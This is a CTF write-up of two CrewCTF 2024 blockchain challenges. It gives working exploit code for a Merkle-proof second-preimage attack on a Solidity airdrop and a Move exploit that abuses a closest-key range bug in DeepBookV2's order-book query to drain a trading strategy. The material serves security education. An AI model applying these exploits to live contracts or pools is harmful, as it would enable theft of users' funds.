Writeup for Tree and Lightbook in CrewCTF 2024

blockchain - tree

tl;dr: Merkle Tree second preimage attack using the existing node hash.


This challenge implements an airdrop contract on EVM where targeted users can claim their crewToken airdrop by providing valid MerkleTree proofs.

The airdrop contract is initialized with 300 crewTokens. These tokens can only be claimed by legitimate users. As soon as the balance of the airdrop contract came down below 50 crewTokens, anyone could claim all the remaining tokens by calling removeDust().

To solve this challenge, we are required to empty all the balance of the airdrop contract and make sure that the PLAYER address has more than 0.0 CrewToken.

1
2
3
  function isSolved() public view returns(bool) {
      return token.balanceOf(PLAYER) > 0 && token.balanceOf(address(merkleAirdrop)) == 0;
  }

The only way we can withdraw some crewTokens from the contract is by calling the claim function.

However, it’s secured by the Merkle Tree proof. Only legitimate users who know the preimage of the Merkle Tree node hash can successfully call.

Dive deeper into how the Merkle Tree proof is implemented. At first, the leaf node hash is calculated by doubly ripemd160 hashing bytes11 epoch + uint72 amount + address to.

leaf node hash calculation

Subsequently, two adjacent leaf node hashes are combined and again doubly ripemd160 hashed to calculate the inner node hash, repeating this procedure several times and finally a root hash is acquired.

MerkleTree node hashes calculation

To claim some crewToken from the contract, the preimage of one leaf/inner/root node hash must be acquired.

It first occurred to me that there might be one leaf node hash that could be used by the PLAYER address to receive the airdrop. So, I need to brute-force the preimage bytes11 epoch + uint72 amount + address to and check whether the resulting hash is in the list. The address to is sure to be the PLAYER address, and the epoch (maybe starts from 0?) and amount (perhaps between 0 and 300?) should be guessed. However, an hour of brute-forcing gave me nothing. Thus, this direction couldn’t be the intended solution.

Later, I noticed that the parameter types of the claim function were quite weird.

1
function claim(bytes11 epoch, uint72 amount, address to, bytes20[] calldata proof)

Why should the epoch parameter type be bytes11 and not bytes20 or bytes32?

Why should the amount parameter type be uint72 and not uint32 or uint256?

It soon hit me that bytes11 + uint72 is 20 bytes and the type address is also 20 bytes. This is the same as how two child node hashes, each 20 bytes, are combined to calculate the parent node hash.

It turns out that we don’t need to brute-force the preimage of the leaf node hash. We do have the preimage of several inner/root node hashes, which are its two child node hashes combined.

So, if one child node hash can be fit into bytes11 epoch + uint72 amount and another child node hash is set to be address to, we can utilize this parent node hash to form a valid Merkle Tree proof! The only limitation is that uint72 amount, the last 9 bytes of the smaller child node hash converted to uint72, should be less than 300 * 100^18.

A quick search gives us 4 candidates.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import os
import hashlib


HASHES = [
    0xa672fa083f7d075135f8de011d2597f3e5177371.to_bytes(20, 'big'),
    0x442bd228174e36b106b142430bc993bb604b36b3.to_bytes(20, 'big'),

    0x1229a260f8c1bfd94fc5099aaeaa73b8b24e104d.to_bytes(20, 'big'),
    0x763ec7c5242204e03ab25c7a0456def1640bd291.to_bytes(20, 'big'),
    0x1852fe43fe3f29f9880af8c4adda245f3959cd5d.to_bytes(20, 'big'),
    0xd29a214b50b598c310a85c7f27b0759f42d17a5e.to_bytes(20, 'big'),

    0xe78bc95741bf81b6f8b50c004db2a0590e8e3020.to_bytes(20, 'big'),
    0xc1710dc2f0c355633ba51fc3b1d3c2c07d7bb033.to_bytes(20, 'big'),
    0x178c65c082761531586daf3acc00a93b35f11d50.to_bytes(20, 'big'),
    0xfbe2901b5f8c63216983ecf9de569993500a4a57.to_bytes(20, 'big'),
    0xcbf623623458169fa4150a0e7c7590c94d4325e8.to_bytes(20, 'big'),
    0x5561300ec6e7d836968f79e7cfb7c3f58be9b9ad.to_bytes(20, 'big'),
    0x81ef08937a2c85f8ef6bc79ce82d0c9c7d10a119.to_bytes(20, 'big'),
    0x076b6eb567fe44a31f037c3a7ccb012dca4de16d.to_bytes(20, 'big'),

    0x019fc05d1641e721e42fb8be294574c499b229b6.to_bytes(20, 'big'),
    0xba2354d358aaa63e8778816009d25b66151db6f1.to_bytes(20, 'big'),
    0xb086c99c8b134ecdd7d17aed61d9826f963e0c3f.to_bytes(20, 'big'),
    0x7b88db991c794aa448f44c9887aa3d7dafe1fa13.to_bytes(20, 'big'),
    0x622650c7ae0650832071b3e4473e51f01bc0abfb.to_bytes(20, 'big'),
    0x631c3891897b6b57dfebd98b4d52a9e952580e9e.to_bytes(20, 'big'),
    0xe784b3fe3b76c7187cbbb9c84a02b488ff7aa07b.to_bytes(20, 'big'),
    0x8f62e8ee85a50bd5133c7ba1fe3af56ee959f913.to_bytes(20, 'big'),
    0x7a070e3090519506c47231517a5385e81374b379.to_bytes(20, 'big'),
    0xee518781faebe5a72a75745cd7e00ca4fdc212c0.to_bytes(20, 'big'),
    0xd9bd42532c8734d081810e7f713b412f56cc5703.to_bytes(20, 'big'),
    0x0cf097751b521d8f37fa52ea966c13d6144fc54d.to_bytes(20, 'big'),
    0xdb51deffebed4be83828af2e1a73eba0c1e7e600.to_bytes(20, 'big'),
    0x85793fa94880580afce50fa6be4f96abccab8693.to_bytes(20, 'big'),
    0x5c1562f32e1d9c715d41b10dde0eb3088353a980.to_bytes(20, 'big'),
    0xefabb566b9a30d074684005482d0ef08f4a76b4b.to_bytes(20, 'big'),
]


def ripemd160_hash(data):
    ripemd160 = hashlib.new('ripemd160')
    ripemd160.update(data)
    return ripemd160.digest()


for h in HASHES:
    amount = int.from_bytes(h[11:], 'big')
    if amount <= 300 * 10**18:
        print(h.hex(), amount / (10**18))

# a672fa083f7d075135f8de011d2597f3e5177371 20.546995948724124
# e78bc95741bf81b6f8b50c004db2a0590e8e3020 5.5987135911316805
# cbf623623458169fa4150a0e7c7590c94d4325e8 267.222650459171
# 5c1562f32e1d9c715d41b10dde0eb3088353a980 255.80859633346253

We need to reduce the balance to less than 50 crewToken and make sure the smaller hash comes first. So only the node hash 5c1562f32e1d9c715d41b10dde0eb3088353a980 fits the requirement.

MerkleTree proof to claim airdrop

Steps to attack:

  1. Call the claim function of the merkleAirdrop contract to claim 255.80 crewTokens to address 0xEfabb566b9a30D074684005482d0ef08F4A76b4B with the following parameters:
    1. bytes11 epoch: hex"5c1562f32e1d9c715d41b1", which is the first 11 bytes of the smaller child node hash
    2. uint72 amount: 255808596333462530432, which is the last 9 bytes of the smaller child node hash
    3. address to: 0xEfabb566b9a30D074684005482d0ef08F4A76b4B, which is the sibling node hash
    4. bytes20[] proof:
      1. bytes20(hex"81ef08937a2c85f8ef6bc79ce82d0c9c7d10a119")
      2. bytes20(hex"1852fe43fe3f29f9880af8c4adda245f3959cd5d")
      3. bytes20(hex"a672fa083f7d075135f8de011d2597f3e5177371")
  2. Now the balance of the contract is below 50 crewTokens, so we call the removeDust function to claim the remaining crewToken.
  3. Transfer some crewTokens to the PLAYER address.
  4. Now calling Challenge.isSolved() will return True.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.25;

import "./Challenge.sol";
import "./Airdrop.sol";
import "./Token.sol";


contract Solve {
    Challenge public challenge;
    MerkleAirdrop public merkleAirdrop;
    Token public token;
    address public player;

    constructor(Challenge _challenge) public {
        challenge = _challenge;
        merkleAirdrop = challenge.merkleAirdrop();
        token = challenge.token();
        player = challenge.PLAYER();
    }

    function solve() public returns (bool is_solved) {
        bytes11 epoch = hex"5c1562f32e1d9c715d41b1";
        uint72 amount = 255808596333462530432;
        address to = 0xEfabb566b9a30D074684005482d0ef08F4A76b4B;

        bytes20[] memory proof = new bytes20[](3);
        proof[0] = bytes20(hex"81ef08937a2c85f8ef6bc79ce82d0c9c7d10a119");
        proof[1] = bytes20(hex"1852fe43fe3f29f9880af8c4adda245f3959cd5d");
        proof[2] = bytes20(hex"a672fa083f7d075135f8de011d2597f3e5177371");

        merkleAirdrop.claim(epoch, amount, to, proof);

        merkleAirdrop.removeDust();

        token.transfer(player, 1);

        is_solved = challenge.isSolved();
    }

}

image.pngFLAG of the tree challenge

blockchain - lightbook

tl;dr: The clob_v2::get_level2_book_status_bid_side function does not return the orders whose price is within the exact range [price_low, price_high]. Diving further into how this function is implemented, I found out that it found the closest key, which could be a problem. So I tried to place an ask order with the price set to 2.01, which is not in the range [1.95, 2.00], and the function returned orders including this one. Thus we can profit by selling at price 2.01 and buying at price 1.99. Repeat this plenty of times, and we have sufficient CUSDs to solve this challenge.


This challenge implements a trading pool on the SUI blockchain using the Move language where users can trade between two tokens - HCOIN and CUSD.

The trading pool is created using the DeepBookV2 packages provided by the official SUI team. The trading mechanism here is not an AMM like Uniswap, the DeepBookV2 utilizes an order book for trading just like people buy/sell stocks in the traditional exchange. Users can place limit orders or market orders into this trading pool to buy/bid specified HCOINs with some CUSDs, or sell/ask specified HCOINs for some CUSDs.

A limit order is used to buy or sell a token at a pre-determined price and will not execute unless the price meets those qualifications.

A market order is an instruction to buy or sell a token immediately at the current market price.

During setup, the trading pool with no trading fee is created by admin, 300 airdrop HCOINs and 600 airdrop CUSDs are minted and deposited to two objects stored inside storage, and 6 bid orders and 6 ask orders are placed into this pool by admin. The prices of bid orders are a little bit less than 2.00 and the prices of ask orders are slightly above 2.00. The middle price of CUSD/HCOIN seems to be 2.00. This means that admin will profit from these 12 orders if someone in the market is willing to buy/sell at the prices of these orders.

order_book_placed_by_adminorders placed by admin

The goal we need to achieve is to acquire more than 2500 CUSDs.

1
2
3
public fun solve(ctf_storage: &mut Storage, my_cusd: &Coin<CUSD>) {
    if(coin::value(my_cusd) >= 2500 * DECIMALS) ctf_storage.is_solved = true;
}

Initially, we can claim all the 300 HCOINs and 600 CUSDs from the airdrop. However, if we try to use these tokens to trade in the pool, taking all the orders placed by admin, we are only left with 300 HCOINs and 558 CUSDs. We are losing our tokens because we are trading with admin at an unfavorable price!

Thankfully, there’s an otter strategy, initialized with 20,000 HCOINs and 20,000 CUSDs, which can be executed by us. During execution, the strategy will take some orders at the market price if specified conditions are met. Maybe we can place some limit orders at a favorable price and let the strategy take our orders so that we can earn some tokens?

Unfortunately, the strategy is not that simple. The strategy is only willing to take bid orders whose price is in the range [2.00, 2.05], and consume ask orders whose price is in the range [1.95, 2.00]. If we want to profit by buying HCOINs, the price of our orders should be less than 2.00, and if we want to profit from selling HCOINs, the price must be more than 2.00, otherwise, we’ll lose our tokens. In other words, the strategy will never take orders that make us profit.

orders_that_strategy_will_takeorders that strategy will take

So, how is it possible for us to earn that many (>=2500) CUSDs???

This stuck with me.

No way to earn tokens from taking the orders placed by admin. So the only way that we can profit is from strategy. What I need to do is thoroughly audit the code to understand how the strategy is executed and try harder to figure out whether somewhere exists a bug that I can exploit for profit.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// simple is the best:
public fun execute(
    pool: &mut Pool<HCOIN, CUSD>, 
    vault: &mut Vault,
    is_bid: bool,
    clock: &Clock,
    ctx: &mut TxContext, 
) {
    let account_cap = &vault.account_cap;

    let (bid_price, ask_price) = clob_v2::get_market_price<HCOIN, CUSD>(
        pool,
    );

    if (option::is_some(&ask_price) && is_bid) {
        let ask_price = option::destroy_some(ask_price);
        if (ask_price > BUY_THRESHOLD) return;

        let (prices, depths) = clob_v2::get_level2_book_status_ask_side<HCOIN, CUSD>(
            pool: pool,
            price_low: BUY_THRESHOLD,
            price_high: LIMIT,
            clock: clock,
        );

        let total_required_base_amount = 0;
        let total_required_quote_amount = 0;

        let len = vector::length(&prices);
        let i = 0;

        while(i < len) {
            let mul_amt = (*vector::borrow(&prices, i) as u128) * (*vector::borrow(&depths, i) as u128) / (DECIMALS as u128);
            total_required_base_amount = total_required_base_amount + *vector::borrow(&depths, i);
            total_required_quote_amount = total_required_quote_amount + (mul_amt as u64);
            i = i + 1;
        };

        if(coin::value(&vault.cusd) < total_required_quote_amount) return;
        if(total_required_base_amount == 0) return;

        let amount_hcoin = coin::value(&vault.hcoin);
        let amount_cusd = coin::value(&vault.cusd);
        let (remaining_hcoin, remaining_cusd) = clob_v2::place_market_order(
            pool: pool,
            account_cap: account_cap,
            client_order_id: 0,
            quantity: total_required_base_amount,
            is_bid: BID,
            base_coin: coin::split(&mut vault.hcoin, amount_hcoin, ctx),
            quote_coin: coin::split(&mut vault.cusd, amount_cusd, ctx),
            clock: clock,
            ctx: ctx,
        );
        coin::join(&mut vault.hcoin, remaining_hcoin);
        coin::join(&mut vault.cusd, remaining_cusd);
    };

    if (option::is_some(&bid_price) && !is_bid) {
        // Almost the same as the above block.
    }
}

During execution, the strategy will:

  1. Query the pool for the current market price by calling clob_v2::get_market_price. bid_price is the highest order price at the bid side, and ask_price is the lowest price at the ask side.
  2. Determine whether there’s any, if this is a is_bid execution, ask order existed, i.e. ask_price is not empty. If not, it will do nothing but return.
  3. Determine whether ask_price is more than BUY_THRESHOLD (1.95). Only if ask_price <= 1.95 will the strategy take orders in the market. Otherwise, it will return.
  4. Acquire all the orders whose price is within the range [BUY_THRESHOLD, LIMIT], which is [1.95, 2.00], at the ask side by calling clob_v2::get_level2_book_status_ask_side. The prices and depths (quantities) of each order are stored in the two vectors prices and depths separately.
  5. Calculate how many base tokens (HCOINs) the strategy needs to sell if it wants to take all these orders between [1.95, 2.00]. The calculated result is stored in total_required_base_amount. Meanwhile, the amount of CUSDs the strategy will get is also calculated and stored in total_required_quote_amount.
  6. Do some checks before trading. This ensures the strategy vault has enough tokens to complete the transactions.
  7. Place a market order to buy total_required_base_amount HCOINs with CUSDs. This will take all the orders whose price is within [1.95, 2.00] at the ask side.
  8. Return all the remaining tokens to the strategy vault.

After deep analysis of the execution procedure, it seems that there’s also no way for us to earn tokens from trading with the strategy.

But this is a CTF challenge, which means a solution exists.

So I try to think whether the strategy will take more orders than expected.

If the strategy can take orders from the ask side whose price is more than 2.00, then we can profit and moreover solve this challenge.

Is it possible the calculation of total_required_base_amount can be wrong so that the strategy will take more orders?

Is there any chance that we can cancel some orders when the strategy is about to take orders?

Or, perhaps, the returned orders from clob_v2::get_level2_book_status_ask_side may go wrong?

So, I click into the implementation of the get_level2_book_status_ask_side function in the clob_v2 module written by the official SUI team.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/// Enter a price range and return the level2 order depth of all valid prices within this price range in ask side
/// returns two vectors of u64
/// The previous is a list of all valid prices
/// The latter is the corresponding depth list
public fun get_level2_book_status_ask_side<BaseAsset, QuoteAsset>(
    pool: &Pool<BaseAsset, QuoteAsset>,
    mut price_low: u64,
    mut price_high: u64,
    clock: &Clock
): (vector<u64>, vector<u64>) {
    let mut price_vec = vector::empty<u64>();
    let mut depth_vec = vector::empty<u64>();
    if (critbit::is_empty(&pool.asks)) { return (price_vec, depth_vec) };
    let (price_low_, _) = critbit::min_leaf(&pool.asks);

    // Price_high is less than the lowest leaf in the tree then we return an empty array
    if (price_high < price_low_) {
        return (price_vec, depth_vec)
    };

    if (price_low < price_low_) price_low = price_low_;
    let (price_high_, _) = critbit::max_leaf(&pool.asks);
    if (price_high > price_high_) price_high = price_high_;
    price_low = critbit::find_closest_key(&pool.asks, price_low);
    price_high = critbit::find_closest_key(&pool.asks, price_high);
    while (price_low <= price_high) {
        let depth = get_level2_book_status(
            &pool.asks,
            price_low,
            clock::timestamp_ms(clock)
        );
        if (depth != 0) {
            vector::push_back(&mut price_vec, price_low);
            vector::push_back(&mut depth_vec, depth);
        };
        let (next_price, _) = critbit::next_leaf(&pool.asks, price_low);
        if (next_price == 0) { break }
        else { price_low = next_price };
    };
    (price_vec, depth_vec)
}

As documented in the code, this function will return the order depth of all valid prices within the entered price range at the ask side. But is what it really does consistent with what it says?

  1. At first, some checks are done to handle special cases.
  2. Next, it will search in the order book &pool.asks at the ask side, which is underlying implemented using a data structure called cirt-bit tree . The code will find the closest key to the entered price_low in the tree and set that value to be the lower bound. Also, the closest key to the entered price_high is found and set to be the upper bound.
  3. Later, in the loop, all tree node between the lower bound and the upper bound is traversed. For each node, the corresponding price and depth is extracted and put in the two vectors price_vec and depth_vec.
  4. Return the two vectors price_vec and depth_vec.

Note the word closest!!!

This means that in case the key to be searched doesn’t exist in the tree, the code will try to find a node value that is closest to the key. The value may be smaller than the key or bigger than the key. Thus, there is a chance that the bound exceeds the expected range [price_low, price_high].

Realizing that this could be a problem, I immediately wrote some codes to test the idea.

And it worked!

I first placed a limit order at price 1.95 to sell 1 HCOIN and placed another limit order at price 2.01 to sell 100 HCOINs. Then, I executed the strategy to take my orders. And the strategy took all the two orders and I got 101 HCOINs back! This implied that the orders returned by the function clob_v2::get_level2_book_status_ask_side included the order at price of 2.01, which was not as expected [1.95, 2.00].

Note that this bug also exists in the clob_v2::get_level2_book_status_bid_side function at the bid side.

Therefore, we can profit by selling HCOINs at price 2.01 and buying HCOINs at price 1.99. Repeat this plenty of times, and we’ll acquire enough CUSDs (>= 2500) to solve this challenge.

Steps to attack:

  1. Claim the airdrop and we will have 300 HCOINs and 600 CUSDs at hand.
  2. Create a custodian account so that we can trade in the pool.
  3. Consume all the 12 orders placed by admin so that there’s no order in the market and we can manipulate the market price. Now we only have 300 HCOINs and 558 CUSDs left.
  4. Deposit all the remaining tokens into the custodian account so that we can place limit orders in the pool.
  5. Repeat the following procedure plenty of times to earn tokens from the strategy. For each time:
    1. Place one limit order to buy 0.01 HCOIN at price 2.05.
    2. Place another limit order to buy HCOIN at price 1.99 as much as possible with all of our CUSDs.
    3. Execute the strategy to consume these 2 limit orders.
    4. Place one limit order to sell 0.01 HCOIN at price 1.95.
    5. Place another limit order to sell all of our HCOINs at price 2.01.
    6. Execute the strategy to consume these 2 limit orders.
  6. After 100 iterations, we will have 0 HCOIN and 3139.4184 CUSDs at hand. This enables us to solve the challenge.
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
module challenge::solve {
    use sui::{balance, clock, coin, object, transfer, tx_context};
    use deepbook::{clob_v2, custodian_v2, math, critbit, order_query};
    
    use challenge::hcoin::HCOIN;
    use challenge::cusd::CUSD; 
    use challenge::ctf;
    use challenge::otter_strategy;
    
    // use std::debug;

    public fun solve(
        storage: &mut ctf::Storage, 
        vault: &mut otter_strategy::Vault,
        clock: &clock::Clock,
        ctx: &mut tx_context::TxContext,
    ) {
        //// your code
        
        let tick_size: u64 = 10_000_000;
        let lot_size: u64 = 10_000_000;
        let decimals: u64  = 1_000_000_000;

        let u64_max: u64 = 18446744073709551615;
        let no_restriction: u8 = 0;

        let limit: u64 = 2_000_000_000;
        let buy_threshold: u64 = 1_950_000_000;
        let sell_threshold: u64 = 2_050_000_000;

        // 1. Claim the airdrop.
        // Now we have 300 HCOINs and 600 CUSDs.
        let my_hcoin = ctf::get_airdrop_base(storage, 300 * decimals, ctx);
        let my_cusd = ctf::get_airdrop_quote(storage, 600 * decimals, ctx);

        // 2. Create a custodian account.
        let pool = ctf::get_mut_pool(storage);
        let account_cap: custodian_v2::AccountCap = clob_v2::create_account(ctx);

        // 3. Consume/Take all the orders created by admin
        // 300 HCOINs => 199 + 198 + 197 CUSDs
        let (my_hcoin, my_cusd) = clob_v2::place_market_order(pool, &account_cap, 0, 300 * decimals, false, my_hcoin, my_cusd, clock, ctx);
        // 201 + 202 + 203 + 204 + 205 CUSDs --> 500 HCOINs
        let (my_hcoin, my_cusd) = clob_v2::place_market_order(pool, &account_cap, 0, 500 * decimals, true, my_hcoin, my_cusd, clock, ctx);
        // 300 HCOINs => 196 + 195 + 194 CUSDs
        let (my_hcoin, my_cusd) = clob_v2::place_market_order(pool, &account_cap, 0, 300 * decimals, false, my_hcoin, my_cusd, clock, ctx);
        // 206 CUSDs --> 100 HCOINs
        let (my_hcoin, my_cusd) = clob_v2::place_market_order(pool, &account_cap, 0, 100 * decimals, true, my_hcoin, my_cusd, clock, ctx);

        // debug::print(&coin::value(&my_hcoin));  // 300 HCOINs
        // debug::print(&coin::value(&my_cusd));   // 558 CUSDs


        // 4. Deposit all HCOINs && CUSDs to the custodian account
        clob_v2::deposit_base(pool, my_hcoin, &account_cap);
        clob_v2::deposit_quote(pool, my_cusd, &account_cap);

        let (hcoin_available, _, cusd_available, _) = clob_v2::account_balance(pool, &account_cap);
        // debug::print(&hcoin_available);
        // debug::print(&cusd_available);


        // 5. Earn tokens from the strategy
        let i = 0;
        while (i < 100) {
            // debug::print(&i);

            // Place 2 limit orders to buy HCOINs as much as possible
            let amount = ((cusd_available - sell_threshold * tick_size / decimals) as u128) * (decimals as u128) / ((limit - tick_size) as u128);
            let amount_of_hcoin_to_buy = (amount as u64) - (amount as u64) % lot_size;
            clob_v2::place_limit_order<HCOIN, CUSD>(pool, 0, sell_threshold, tick_size,0, true, u64_max, no_restriction, clock, &account_cap, ctx);
            clob_v2::place_limit_order<HCOIN, CUSD>(pool, 0, limit - tick_size,  amount_of_hcoin_to_buy,0, true, u64_max, no_restriction, clock, &account_cap, ctx);

            // `strategy` will consume the 2 limit orders
            otter_strategy::execute(pool, vault, false, clock, ctx);

            (hcoin_available, _, cusd_available, _) = clob_v2::account_balance(pool, &account_cap);
            // debug::print(&hcoin_available);
            // debug::print(&cusd_available);

            // Place 2 limit orders to sell all HCOINs
            let amount_of_hcoin_to_sell = (hcoin_available - tick_size) - (hcoin_available % lot_size);
            clob_v2::place_limit_order<HCOIN, CUSD>(pool, 0, buy_threshold, tick_size,0, false, u64_max, no_restriction, clock, &account_cap, ctx);
            clob_v2::place_limit_order<HCOIN, CUSD>(pool, 0, limit + tick_size,  amount_of_hcoin_to_sell,0, false, u64_max, no_restriction, clock, &account_cap, ctx);

            // `strategy` will consume the 2 limit orders
            otter_strategy::execute(pool, vault, true, clock, ctx);

            (hcoin_available, _, cusd_available, _) = clob_v2::account_balance(pool, &account_cap);
            // debug::print(&hcoin_available);
            // debug::print(&cusd_available);

            i = i + 1;
        };

        // 6. Now we have 3139.4184 CUSDs.
        (_, _, cusd_available, _) = clob_v2::account_balance(pool, &account_cap);
        let my_cusd = clob_v2::withdraw_quote(pool, cusd_available, &account_cap, ctx);

        // Requirement: my_cusd >= 2500.0
        ctf::solve(storage, &my_cusd);

        // Clean
        transfer::public_transfer(account_cap, tx_context::sender(ctx));
        transfer::public_transfer(my_cusd, tx_context::sender(ctx));
    }
}

Paste the code snippet into the solve.py file, change the host and port, and run python3 solve.py award us the FLAG.

image.pngFLAG of the lightbook challenge


I haven’t read any SUI contract code before and knew little about how the SUI blockchain worked. I only knew that the SUI blockchain was similar to that of Aptos and learned a little about the Move contracts in the Aptos blockchain a few days ago when I tried to solve some challenges in the Aptos Code Collision CTF 2024 .

To understand how the challenge worked, I read through the DeepBookV2 documentation and some code implementation in the clob_v2 and custodian_v2 modules, which helped me a lot.

Thanks a lot to the author @gss1 who found such a wonderful bug and made such a nice challenge.

It’s very enjoyable to solve this hard challenge which was only solved by me during the CTF, and it gave me much courage to solve harder challenges in the future!